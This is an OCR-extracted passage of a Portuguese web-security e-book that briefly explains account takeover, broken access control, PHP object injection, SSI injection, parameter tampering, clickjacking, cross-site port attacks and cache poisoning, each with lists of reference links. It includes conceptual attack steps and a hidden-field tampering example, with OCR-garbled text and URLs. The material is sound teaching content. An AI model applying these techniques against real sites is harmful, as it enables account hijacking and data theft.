* https://www.youtube.com/watch2v=FR1ug-hDpHg

* https://www.youtube.com/watch?2v=EZxGaédgero

* https://www.youtube.com/watch?2v=DREgLWZgMWg

d https://portswigger.net/web-security /xxe

* https://www.youtube.com /watch?2v=mF7SSXYMS 20

® https://www.youtube.com/watch2v=1Gz5MOUz7Ws

? https://www.bugcrowd.com /resources/glossary /xml-external-entity-injection-xxe /

? Mttps://hackerone.com/reports /500515

s



http://mamaquieroserpentester.blogspot.com/2018/02/xml-external-entity-you-can-call-me-xxe.html
https://www.infosec.com.br/xml-external-entity/
https://www.youtube.com/watch?v=UhgCFQb_dw8
https://www.youtube.com/watch?v=gjm6VHZa_8s
https://www.youtube.com/watch?v=IMw2C6EJaDo
https://www.youtube.com/watch?v=FR1uq-hDpHg
https://www.youtube.com/watch?v=EZxGa6dqero
https://www.youtube.com/watch?v=DREgLWZqMWg
https://portswigger.net/web-security/xxe
https://www.youtube.com/watch?v=mF7SSXYMS2o
https://www.youtube.com/watch?v=lGz5MOUz7Ws
https://www.bugcrowd.com/resources/glossary/xml-external-entity-injection-xxe/
https://hackerone.com/reports/500515

SER ACCOUNT TAKEOVER /

As aquisicoes de contas acontecem regularmente em praticamente qualquer site com uma funcéo de
gin.

O preenchimento de credenciais e a quebra de cartbes estao entre as tecnicas mais comuns de
O controle de contas e cada uma usa bots automatizados para obter entrada de forca bruta em uma
conta.

* Os ataques de preenchimento de credenciais vasculham listas de nomes de usuario e senhas vazados, usando bots
para testar continuamente combinacdes em varios sites até que sejam bem-sucedidas.

* (Os ataques de quebra de cartdo usam bots automatizados para combinar nomes de usuéario e dicionarios de senhas
vazados, até que o codigo seja quebrado.
[ J

Nomes de usuario e senhas sao adquiridos a partir de despejos de dados em massa que sao
facilmente acessiveis na dark web. Cada despejo de dados pode consistir em milhdes de
combinacdes de nome de usuario e senha apos anos de violacdes de dados realizadas em varios
sites.

* (D desafio para as empresas reside nao apenas na disponibilidade e preco baixo dos despejos de
dados, mas também no comportamento do consumidor. Com mais senhas para controlar, os
consumidores frequentemente reutilizam detalhes de login em varios sites e negligenciam
atualizacOes de senha por anos seguidos.

* /uttps://www.netacea.com/what-is-account-takeover



https://www.netacea.com/what-is-account-takeover

N

USER ACCOUNT TAKEOVER - EXEMPLOS

1 https://www.shieldsquare.com /what-is-account-takeover /

https: //precognitive.com /2019 /09 /26 /account-takeover-scenarios /

O https: / /www.youtube.com /watchev=pmqzztDVolw

® https://www.usenix.org/conference /enigma2018 /presentation/milka

* https://www.youtube.com/watch2v=U30f-jF1nWo

* https://www.youtube.com/watch2v=2326méddthg

https: / /www.youtube.com /watchev=ROmWptLglhk

l * https://www.securityweek.com /instagram-account-takeover-vulnerability-earns-hacker-30000

https: / /medium.com /(@O0xankush /readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe?15be

https: //blog.securitybreached.org/2020/01 /22 /user-account-takeover-via-signup-feature-bug-bounty-poc/

® https://hackerone.com /reports /745324



https://www.shieldsquare.com/what-is-account-takeover/
https://precognitive.com/2019/09/26/account-takeover-scenarios/
https://www.youtube.com/watch?v=pmqzztDVoIw
https://www.usenix.org/conference/enigma2018/presentation/milka
https://www.youtube.com/watch?v=U3Of-jF1nWo
https://www.securityweek.com/instagram-account-takeover-vulnerability-earns-hacker-30000
https://www.youtube.com/watch?v=2326m6ddthg
https://www.youtube.com/watch?v=R0mWptLglhk
https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
https://blog.securitybreached.org/2020/01/22/user-account-takeover-via-signup-feature-bug-bounty-poc/
https://hackerone.com/reports/745324
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IMPROPER ACCESS CONTROL

O controle de acesso, as vezes chamado de autorizacao, € como um aplicativo da ‘(
\l Web concede acesso a conteudo e funcdes para alguns usuarios e nao para

O outros. Essas verificacOes sao realizadas apos a autenticacao e controlam o que 0s
usuarios 'autorizados' podem fazer. O controle de acesso parece um problema

simples, mas é insidiosamente dificil de implementar corretamente. O modelo de

controle de acesso de um aplicativo da Web esta intimamente ligado ao contetdo e

as funcoes que o site fornece. Alem disso, os usuarios podem se enquadrar em

l varios grupos ou funcdes com diferentes habilidades ou privilégios.

* Os desenvolvedores frequentemente subestimam a dificuldade de implementar um
mecanismo de controle de acesso confiavel. Muitos desses esquemas nao foram
deliberadamente projetados, mas simplesmente evoluiram junto com o site. Nesses
casos, as regras de controle de acesso séo inseridas em varios locais em todo o
codigo. A medida que o site se aproxima da implantacéo, a colecdo ad hoc de regras
se torna tao dificil gue é quase impossivel entender.



N s

IMPROPER ACCESS CONTROL

Muitos desses esquemas de controle de acesso defeituosos néao sao dificeis de descobrir e
\l explorar. Frequentemente, tudo 0 que € necessario € elaborar uma solicitacao de funcdes ou
conteudo que nao deve ser concedido. Depois que uma falha é descoberta, as consequéncias
de um esquema de controle de acesso defeituoso podem ser devastadoras. Além de exibir
conteudo nao autorizado, um invasor pode alterar ou excluir conteudo, executar funcoes nao
autorizadas ou até mesmo assumir a administracao do site.

permitem que os administradores do site gerenciem um site pela Internet. Esses recursos sao
frequentemente usados para permitir que os administradores do site gerenciem com eficiéncia
usuarios, dados e contetdo em seus sites. Em muitos casos, 0s sites oferecem suporte a
varias funcdoes administrativas para permitir granularidade mais fina da administracao do

site. Devido ao seu poder, essas interfaces sao frequentemente os principais alvos de
ataques de pessoas de fora e de dentro.

l * Um tipo especifico de problema de controle de acesso sao as interfaces administrativas que

® https://owasp.org/www-community /Broken Access Control



https://owasp.org/www-community/Broken_Access_Control

D)

IMPROPER ACCESS CONTROL - EXEMPLOS

a <input type="hidden" 126"

name="User_code"” value="123">

User code: 123




IMPROPER ACCESS CONTROL - EXEMPLQOS
0' cinput type="hidden”  “126°

name="User_code’ value="123">

jenniter

Name
SSN‘t 12368654 |
| Credit card 1 CEE0-1556- 14541282
User code. 123

a <input type="hidden" 126"

name="User code" value="123">

User code

User code: 123




IMPROPER ACCESS CONTROL - EXEMPLOS

https: / /hdivsecurity.com /owasp-broken-access-control

https: //www.youtube.com /watch2v=94-tlOCApOc

https: //www.youtube.com /watchev=2G7gUwyxZBY

https: //www.youtube.com /watch2v=P38até6Tp8Ms

https: //www.packetlabs.net /broken-access-control /

https: //www.youtube.com/watchev=EE2N2H3 RnE

https: //www.youtube.com /watch2v=TJQpOrtet8E

https: / /www.youtube.com /watch2v=7Z2Eo 5jEOwA

https: / /www.youtube.com /watch2v=UNxSVYVyalo

https: / /medium.com /(@ deepakdramz /bug-bounty-for-beginners-part-2-broken-access-control-7755f5¢61937

https: //medium.com /bugbountywriteup /dank-writeup-on-broken-access-control-on-an-indian-startup-d29132a1ecd

https: //owasp.org/www-project-top-ten/OWASP Top Ten 2017 /Top 10-2017 A5-Broken Access Control

https: / /www.youtube.com /watchev=A6YX6IvQfQY

https: / /www.youtube.com /watch2v=zeb8 2DDH5HM

https: / /hackerone.com /reports /502593



https://hdivsecurity.com/owasp-broken-access-control
https://www.youtube.com/watch?v=94-tlOCApOc
https://www.youtube.com/watch?v=ZG7gUwyxZBY
https://www.youtube.com/watch?v=P38at6Tp8Ms
https://www.packetlabs.net/broken-access-control/
https://www.youtube.com/watch?v=EE2N2H3_RnE
https://www.youtube.com/watch?v=TJQpOrtet8E
https://www.youtube.com/watch?v=Z2Eo_5jEOwA
https://www.youtube.com/watch?v=UNxSVYVyalo
https://medium.com/@deepakdramz/bug-bounty-for-beginners-part-2-broken-access-control-7755f5c61937
https://medium.com/bugbountywriteup/dank-writeup-on-broken-access-control-on-an-indian-startup-d29132a1ecd
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control
https://www.youtube.com/watch?v=A6YX6IvQfQY
https://www.youtube.com/watch?v=zeb82DDH5HM
https://hackerone.com/reports/502593
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PHP OBJECT INJECTION

O PHP Obiject Injection € uma vulnerabilidade no nivel do aplicativo que pode permitir que um
invasor execute diferentes tipos de ataques maliciosos, como Injecao de Codigo , Injecao de
SOL , Traversal de Caminho e Negacao de Servico de Aplicativo , dependendo do contexto. A
vulnerabilidade ocorre quando a entrada fornecida pelo usuario nao € higienizada
adequadamente antes de ser passada para a funcao PHP unserialize (). Como o PHP permite
a serializacao de objetos, os invasores podem transmitir seqiéncias serializadas ad-hoc a
uma chamada unserialize () vulneravel, resultando em uma injecao arbitraria de objetos PHP
no escopo do aplicativo.

* Para explorar com éxito uma vulnerabilidade de injecéo de objetos PHP, duas condicdes
devem ser atendidas:

* O aplicativo deve ter uma classe que implemente um meétodo magico do PHP (como __ wakeup ou
__destruct) que possa ser usado para realizar ataques maliciosos ou para iniciar uma "cadeia POP".

* Todas as classes usadas durante o atague devem ser declaradas quando o unserialize () vulneravel esta
sendo chamado, caso contrario, o carregamento automatico de objetos deve ser suportado para essas
classes.

https: //owasp.org/www-community /vulnerabilities/PHP Obiject Injection



https://owasp.org/www-community/vulnerabilities/Code_Injection
https://owasp.org/www-community/attacks/SQL_Injection
https://owasp.org/www-community/vulnerabilities/Path_Traversal
https://owasp.org/www-community/vulnerabilities/Application_Denial_of_Service
https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

N

PHP OBJECT INJECTION - EXEMPLOS

https: / /www.youtube.com /watchev=gTXMFrctYLE

https: / /www.youtube.com /watch?2v=HaW 15aMzBUM

https: / /www.youtube.com /watchev=wp8LeTgNdyU

https: / /www.youtube.com /watch2v=A- Ow-qVD34

https: //www.youtube.com/watch2v=m13W6éNqgsgQY

https: / /www.youtube.com/watch?2v=LywlzazH1JA

https: / /www.youtube.com /watch2v=pCbBfxJJn4E

https: / /www.youtube.com /watch2v=GE2HyC7Gwrs

https: / /www.youtube.com/watch2v=uW4ydi9Ltw

https: //blog.ripstech.com /2018 /php-object-injection/

https://www.tarlogic.com/en/blog/how-php-object-injection-works-php-object-injection /



https://www.youtube.com/watch?v=gTXMFrctYLE
https://www.youtube.com/watch?v=HaW15aMzBUM
https://www.youtube.com/watch?v=wp8LeTgNdyU
https://www.youtube.com/watch?v=A-_Ow-qVD34
https://www.youtube.com/watch?v=m13W6NqsgQY
https://www.youtube.com/watch?v=LywLzazH1JA
https://www.youtube.com/watch?v=pCbBfxJJn4E
https://www.youtube.com/watch?v=GE2HyC7Gwrs
https://www.youtube.com/watch?v=uW4yd9i9Ltw
https://blog.ripstech.com/2018/php-object-injection/
https://www.tarlogic.com/en/blog/how-php-object-injection-works-php-object-injection/
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SSI INJECTION

1 SSlis sao diretrizes presentes em aplicativos da Web usados para alimentar ‘(
uma pagina HTML com conteudo dinamico. Eles séo semelhantes aos CGls,

exceto que os SSIs sao usados para executar algumas agoes antes que a

pagina atual seja carregada ou engquanto a pagina esta sendo

visualizada. Para fazer isso, o servidor da web analisa o SSI antes de

l fornecer a pagina ao usuario.

O

* O atague Inclui do lado do servidor permite a exploracao de um aplicativo da
Web injetando scripts em paginas HTML ou executando codigos arbitrarios
remotamente. Ele pode ser explorado através da manipulacédo do SSI em uso
no aplicativo ou forcar seu uso atraves dos campos de entrada do usuario.
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SSI INJECTION

E possivel verificar se o aplicativo esta validando corretamente os dados dos campos de entrada
inserindo caracteres usados nas diretivas SSI, como:

* <!#=/."->and [a-zA-Z0-9]
* Outra maneira de descobrir se 0 aplicativo esta vulneravel é verificar a presenca de paginas com

extensao .stm, .shtm e .shtml. No entanto, a falta desse tipo de pagina nao significa que o
aplicativo esteja protegido contra ataques SSI.

* De qualquer forma, o ataque serad bem-sucedido apenas se o0 servidor da Web permitir a execucao
do SSI sem a validacao adequada. Isso pode levar ao acesso e manipulacao do sistema e
processo de arquivos sob a permissao do proprietario do processo do servidor da web.

* O invasor pode acessar informacdes confidenciais, como arquivos de senha, e executar
comandos do shell. As diretivas SSI séo injetadas nos campos de entrada e enviadas ao servidor
da web. O servidor da Web analisa e executa as diretivas antes de fornecer a pagina. Em seguida,
o resultado do ataque estara visivel na proxima vez que a pagina for carregada no navegador do
Usuario.

Hitps: / /owasp.org /www-community /attacks /Server-Side Includes (SSI) Injection



https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection

SSI INJECTION - EXEMPLOS

1 https:/ /www.youtube.com/watchev=2Jo -vDE4io

® https://www.youtube.com /watch2?v=iH4TzbgHkkc

® https://www.youtube.com/watch2v=B5rkWcOAfmA

® https://owasp.org/www-community /attacks /Server-Side Includes (SSI) Injection

l ® https://portswigger.net/kb /issues /00101100 ssi-injection

® https://medium.com/@shatabda/security-ssi-injection-what-how-fbce 1dc232b9

T 3 https: / /hackerone.com/reports /159985



https://www.youtube.com/watch?v=2Jo_-vDE4io
https://www.youtube.com/watch?v=iH4TzbqHkkc
https://www.youtube.com/watch?v=B5rkWcOAfmA
https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection
https://portswigger.net/kb/issues/00101100_ssi-injection
https://medium.com/@shatabda/security-ssi-injection-what-how-fbce1dc232b9
https://hackerone.com/reports/159985

WEB PARAMETER TAMPERING

O ataque de violacdo de parametros da Web baseia-se na manipulacao de
\l parametros trocados entre cliente e servidor, a fim de modificar dados de aplicativos,
S como credenciais e permissdes de usuario, preco e quantidade de produtos, etc.
Geralmente, essas informacoes sao armazenadas em cookies, de forma oculta
campos ou cadeias de consulta de URL e € usado para aumentar a funcionalidade e
0 controle do aplicativo.

* Esse ataque pode ser realizado por um usuario mal-intencionado que deseja explorar
l 0 aplicativo para seu proprio beneficio ou por um invasor que deseja atacar uma
terceira pessoa usando um atague Man-in-the-middle . Nos dois casos, ferramentas
como Webscarab e Paros proxy sao usadas principalmente.

¢ O éxito do ataque depende dos erros do mecanismo de validacao da integridade e
da logica e sua exploracédo pode resultar em outras consequéncias,
Incluindo ataques XSS , Injecdo SQL , incluséo de arquivo e divulgacao de caminhos.

¢ https://owasp.org/www-community /attacks/Web Parameter Tampering

N s
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https://owasp.org/www-community/attacks/Man-in-the-middle_attack
https://owasp.org/www-community/attacks/Cross-site_Scripting_/(XSS/)
https://owasp.org/www-community/attacks/SQL_Injection
https://owasp.org/www-community/attacks/Web_Parameter_Tampering

WEB PARAMETER TAMPERING - EXEMPLOS
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WEB PARAMETER TAMPERING - EXEMPLOS

Reviews Ring Tones Software

Name Nokia C7

Price 60 é—

Descn'pgionGood Mobile

l ; | Add to cart |

Name iPhone 3G

Price 600 #

DescriptionStunning Maobile

[Addtocar
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WEB PARAMETER TAMPERING - EXEMPLOS

https:/ /www.imperva.com/learn/application-security /parameter-tampering /

https: / /www.youtube.com /watch2v=6zjAv BBDUQ

https: / /www.youtube.com /watch2v=YOLubxfJUnU

https: / /www.youtube.com /watchev=MNDkzkR8TBI

https: / /www.youtube.com /watch2v=38IEboR-B|4

https: / /www.youtube.com /watch2v=GuneOTXAjYg

https: / /medium.com /@chawdamrunal /what-is-parameter-tampering-5b1beb12c5ba

https: / /www.facebook.com /watch/2v=2179943992316316

https: / /www.facebook.com /watch/2v=2200932383550741

https: / /www.youtube.com /watch?2v=qCU3vZrO3vA

https: / /medium.com /bugbountywriteup /shopping-products-for-free-parameter-tampering-

vOlnerability-8e09e1471596



https://www.imperva.com/learn/application-security/parameter-tampering/
https://www.youtube.com/watch?v=6zjAv_BBDUQ
https://www.youtube.com/watch?v=YOLubxfJUnU
https://www.youtube.com/watch?v=MNDkzkR8TBI
https://www.youtube.com/watch?v=38IEboR-Bl4
https://www.youtube.com/watch?v=Gune0TXAjYg
https://medium.com/@chawdamrunal/what-is-parameter-tampering-5b1beb12c5ba
https://www.facebook.com/watch/?v=2179943992316316
https://www.facebook.com/watch/?v=2200932383550741
https://www.youtube.com/watch?v=qCU3vZrO3vA
https://medium.com/bugbountywriteup/shopping-products-for-free-parameter-tampering-vulnerability-8e09e1471596
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CLICKJACKING

O clickjacking, também conhecido como “ataque de reparacao da interface do ‘(
usuario”, ocorre quando um invasor usa varias camadas transparentes ou

opacas para induzir um usuario a clicar em um botao ou link em outra pagina
guando pretendia clicar na pagina de nivel superior. Assim, o invasor esta
"sequestrando” cligues destinados a sua pagina e os encaminha para outra
pagina, provavelmente pertencente a outro aplicativo, dominio ou ambos.

* Usando uma técnica semelhante, as teclas também podem ser
sequestradas. Com uma combinacao cuidadosamente elaborada de folhas de
estilo, iframes e caixas de texto, um usuario pode ser levado a acreditar que
esta digitando a senha do email ou da conta bancaria, mas digitando em um
guadro invisivel controlado pelo invasor.
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CLICKJACKING

Por exemplo, imagine um invasor que constroi um site com um bot&o que diz “clique g
\l aqui para obter um iPod gratis". No entanto, no topo dessa pagina da web, o invasor
O carregou um iframe com sua conta de e-mail e alinhou exatamente o botao "excluir
todas as mensagens" diretamente na parte superior do botao "iPod gratis". A vitima
tenta clicar no botao "iPod gratis”, mas na verdade clica no botao invisivel "excluir
todas as mensagens". Em esséncia, o invasor "sequestrou” o clique do usuario, dai o
l nome "Clickjacking".
.

Um dos exemplos mais notorios de Clickjacking foi um atague contra a pagina de
configuracdes do plugin Adobe Flash . Ao carregar esta pagina em um iframe
invisivel, um invasor pode induzir um usuario a alterar as configuracoes de
seguranca do Flash, permitindo que qualquer animacao em Flash utilize o microfone
e a camera do computador.

¢ https://owasp.org/www-community /attacks/Clickjacking



https://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager06.html
https://owasp.org/www-community/attacks/Clickjacking
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CLICKJACKING - EXEMPLOS

1 https: / /pt.wikipedia.org /wiki/Clickjacking

hitps: / /www.imperva.com/learn/application-security /clickjacking /

O e https://portswigger.net /web-security /clickjacking
* https://hackerone.com/reports /405342
® https://medium.com/@raushanraj 65039 /google-clickjacking-6a04132b9%18a

® https://www.paulosyibelo.com /2015 /03 /facebook-bug-bounty-clickjacking.html

* https://www.youtube.com/watch2v=MmpOs1GBrNo

l ® https://www.youtube.com/watch?v=tJIWmr8ypZg

p https: / /www.youtube.com /watch2v=A7JVzglupxc
3

https: / /www.youtube.com /watch?2v=JuYULZdmdQU

* https: / /www.youtube.com/watch2v=7Zm1IQAQOqJ0

® https://www.youtube.com/watch?2v=keAtUgCbuq8



https://pt.wikipedia.org/wiki/Clickjacking
https://www.imperva.com/learn/application-security/clickjacking/
https://portswigger.net/web-security/clickjacking
https://hackerone.com/reports/405342
https://medium.com/@raushanraj_65039/google-clickjacking-6a04132b918a
https://www.youtube.com/watch?v=tJLWmr8ypZg
https://www.paulosyibelo.com/2015/03/facebook-bug-bounty-clickjacking.html
https://www.youtube.com/watch?v=Mmp0s1GBrNo
https://www.youtube.com/watch?v=A7JVzglupxc
https://www.youtube.com/watch?v=JuYULZdmd9U
https://www.youtube.com/watch?v=Zm1lQAQOqJ0
https://www.youtube.com/watch?v=keAtUgCbuq8
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CROSS SITE PORT ATTACK

\l O Ataque de porta entre sites (XSPA) € uma vulnerabilidade que permite que os g
invasores busquem o status das portas TCP (e obtenham faixas de servico) pela

Internet ou sistemas internos, abusando de um recurso em aplicativos Web que faz
solicitacoes HTTP usando URLs fornecidos pelo invasor.

® https:/ /www.briskinfosec.com /blogs/blogsdetail /Cross-Site-Port-Attack-XSPA

® https://ibreak.software /2012 /11 /cross-site-port-attacks-xspa-part-1/



https://www.briskinfosec.com/blogs/blogsdetail/Cross-Site-Port-Attack-XSPA
https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-1/
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CROSS SITE PORT ATTACK - EXEMPLOS

https: / /www.youtube.com /watch?2v=0VwHIESZTil

® https://www.youtube.com/watch2v=WOH3EbmbvxI

O
® https://briskinfosec.blogspot.com /2018 /03 /cross-site-port-attack-xspa.html

® https://owasp.org/www-pdf-archive //2018-02-05-AhmadAshraff.pdf

l ® https://trouge.net/papers/SSR raid2016.pdf

® https://media.blackhat.com/ad-12/Walikar/bh-ad-12-pokingserverswithFacebook-
Cf O Walikar-WP.pdf



https://www.youtube.com/watch?v=oVwHIESZTiI
https://www.youtube.com/watch?v=W0H3EbmbvxI
https://briskinfosec.blogspot.com/2018/03/cross-site-port-attack-xspa.html
https://owasp.org/www-pdf-archive//2018-02-05-AhmadAshraff.pdf
https://trouge.net/papers/SSR_raid2016.pdf
https://media.blackhat.com/ad-12/Walikar/bh-ad-12-pokingserverswithFacebook-Walikar-WP.pdf

CACHE POISONING

O impacto de uma resposta criada com coédigos maliciosos pode ser aumentado se for armazenado em cache
por um cache da Web usado por varios usuarios ou mesmo pelo cache do navegador de um Unico usuario. Se
uma resposta for armazenada em cache em um cache da Web compartilhado, como os comumente
encontrados em servidores proxy, todos os usuarios desse cache continuaréo recebendo o contetudo
malicioso até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em
cache no navegador de um usuario individual, ele continuara recebendo o conteido malicioso até que a
entrada do cache seja removida, embora apenas o usuario da instancia do navegador local seja afetado.

* Para realizar com sucesso esse ataque, um invasor:
* Localiza o cédigo de servico vulneravel, o que lhes permite preencher o campo de cabecalho HTTP com muitos cabecalhos.
* Forca o servidor de cache a liberar seu conteudo de cache real, que queremos gue seja armazenado em cache pelos servidores.
* Envia uma solicitacéo especialmente criada, que serad armazenada no cache.
* Envia a proxima solicitacdo. O conteudo injetado anteriormente armazenado no cache sera a resposta a essa solicitacao.

¢ Esse atague € bastante dificil de ser realizado em um ambiente real. A lista de condicdes € longa e dificil de
ser realizada pelo invasor. No entanto, € mais facil usar essa técnica do que a desfiguracio entre Usuarios .

* Um ataque de envenenamento por cache € possivel devido a divisdo de resposta HTTP e falhas no aplicativo
da web. E crucial, do ponto de vista do invasor, que o aplicativo permita preencher o campo de cabecalho com
mais de um cabecalho usando caracteres CR (Retorno de carro) e LF (avanco de linha).

hitps:/ /owasp.org/www-community /attacks /Cache Poisoning



https://owasp.org/www-community/attacks/Cross-User_Defacement
https://owasp.org/www-community/attacks/HTTP_Response_Splitting
https://owasp.org/www-community/attacks/Cache_Poisoning

CACHE POISONING - EXEMPLOS

https: //por’rswmqer ne’r/reseqrch/prqc’rlcal web-cache-poisoning

https: / /www.youtube.com /watchev=0AiG-EVemUI

® https://www.youtube.com /watch?2v=ZsrCoheszzo

® https://www.youtube.com/watch2v=w nxsG-JXHA

® https://www.youtube.com/watch?2v=cbpZM1Mj5ts

® https://www.youtube.com/watch2v=9FHBhTFcHyc

® https://www.iana.org/about /presentations /davies-viareggio-entropyvuln-081002.pdf

o

* https://portswigger.net/web-security /web-cache-poisoning

® https://hackerone.com/reports /409370
¢ https:/ /hackerone.com/reports /492841



https://portswigger.net/research/practical-web-cache-poisoning
https://www.youtube.com/watch?v=oAiG-EVemUI
https://www.youtube.com/watch?v=ZsrCoheszzo
https://www.youtube.com/watch?v=w_nxsG-JXHA
https://www.youtube.com/watch?v=cbp7M1Mj5ts
https://www.youtube.com/watch?v=9FHBhTFcHyc
https://www.iana.org/about/presentations/davies-viareggio-entropyvuln-081002.pdf
https://portswigger.net/web-security/web-cache-poisoning
https://hackerone.com/reports/409370
https://hackerone.com/reports/492841
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% K\’ CONCLUSAO /
A\ (

Esses foram alguns dos conceitos envolvendo aplicacdes web e suas vulnerabilidades e

O obviamente que isso apenas é uma base de algo tdo vasto;

Por isso, eu recomendo que vocé se aprofunde ndo apenas na prdtica, mas na teoria
também, pois alguns ataques mesclam outros também, seja um XSS to SQL Injection ou

l um SQL Injection to RCE ou um Local File Inclusion to Command Injection e etc;

Muitos desses conteudos apresentados vocé encontra em algumas certificagoes
(ﬁ = famosas como (CASE.JAVA e .NET, CEH, ECSA, OSWE, eWPT e eWPTX), sendo essas

as mais conhecidas quando se fala em seguranca de aplicagdo web;



N

1 se vocé desejar aprender ataques web na prdtica e conhecer outros métodos, recomendo:

CONCLUSAO

ttps: / /github.com /infoslack /awesome-web-hacking

O https: //libraries.io /github /infoslack /awesome-web-hacking

https://libraries.io /github /infoslack /awesome-web-hacking

https: / /www.elearnsecurity.com /certification /ewpt/

l https: / /www.elearnsecurity.com /certification /ewptx /

https: //www.offensive-security.com/awae-oswe /

O  https://acaditi.com.br/certificacoes-eccouncil /
(Bttps: / /www.linkedin.com /in /joas-antonio-dos-santos/ (Meus Artigos)

https: / /www.hackthebox.eu/

bttp: / /www.dvwa.co.uk /

httpssy/ /www.vulnhub.com/

hifps: / /pentesterlab.com/



https://github.com/infoslack/awesome-web-hacking
https://libraries.io/github/infoslack/awesome-web-hacking
https://libraries.io/github/infoslack/awesome-web-hacking
https://www.elearnsecurity.com/certification/ewpt/
https://www.elearnsecurity.com/certification/ewptx/
https://www.offensive-security.com/awae-oswe/
https://acaditi.com.br/certificacoes-eccouncil/
https://www.linkedin.com/in/joas-antonio-dos-santos/
https://www.hackthebox.eu/
http://www.dvwa.co.uk/
https://www.vulnhub.com/
https://pentesterlab.com/

AGRADECIMENTO

Por fim, agradeco a todos que curtiram os meus e-books, isso me motiva & continuar
desenvolvendo e compartilhando conteudos para a comunidade e no meu proprio

desenvolvimento pessoal com as dicas que recebo;

Para todos aqueles que gostou, esse local é aonde reservo meus agradecimento e

pode ter certeza que isso significa muito para mim!

(



R}\SERENCE

1 htdps: / /www.hostinger.com.br /tutoriais /o-que-e-ss|-tls-https

hU s:/ /developer.mozilla.org /pt-BR /docs/Web /HTTP /Status

https: / /developer.mozilla.org /pt-BR /docs /Web /HTTP /Methods

O

https:/ /pt.stackoverflow.com/questions /608 /qual-a-diferen%C3%A7 a-entre-c%C3%B 3digo-client-side-e-server-side-em-
desenvolvimento-web

https://pt.wikipedia.org /wiki/Servidor de aplica%C3%A7%C3%A30
https: //pt.wikipedia.org /wiki/Aplica%C3%A7%C3%A30 web

https://sensedia.com/api/owasp-2017-top-10-riscos-seguranca-apis/

https: / /owasp.org/www-project-top-ten/

https: / /www.w3schools.in /ethical-hacking /information-gathering-techniques

hg;)as://p’r.wikipedia.orq/wiki/Bose64
’rgs,://p’r.wikipediq.orq/wiki/Cookie (inform%C3%A 1 tica)
\ ) tIGI}://en.wikipedio.orq/wiki/Session ID

https: / /pt.wikipedia.org /wiki/Nslookup

https: / /pt.wikipedia.org /wiki/WHOIS



https://www.hostinger.com.br/tutoriais/o-que-e-ssl-tls-https
https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Status
https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Methods
https://pt.stackoverflow.com/questions/608/qual-a-diferen%C3%A7a-entre-c%C3%B3digo-client-side-e-server-side-em-desenvolvimento-web
https://pt.wikipedia.org/wiki/Servidor_de_aplica%C3%A7%C3%A3o
https://pt.wikipedia.org/wiki/Aplica%C3%A7%C3%A3o_web
https://sensedia.com/api/owasp-2017-top-10-riscos-seguranca-apis/
https://owasp.org/www-project-top-ten/
https://www.w3schools.in/ethical-hacking/information-gathering-techniques
https://pt.wikipedia.org/wiki/Base64
https://pt.wikipedia.org/wiki/Cookie_(inform%C3%A1tica)
https://en.wikipedia.org/wiki/Session_ID
https://pt.wikipedia.org/wiki/Nslookup
https://pt.wikipedia.org/wiki/WHOIS

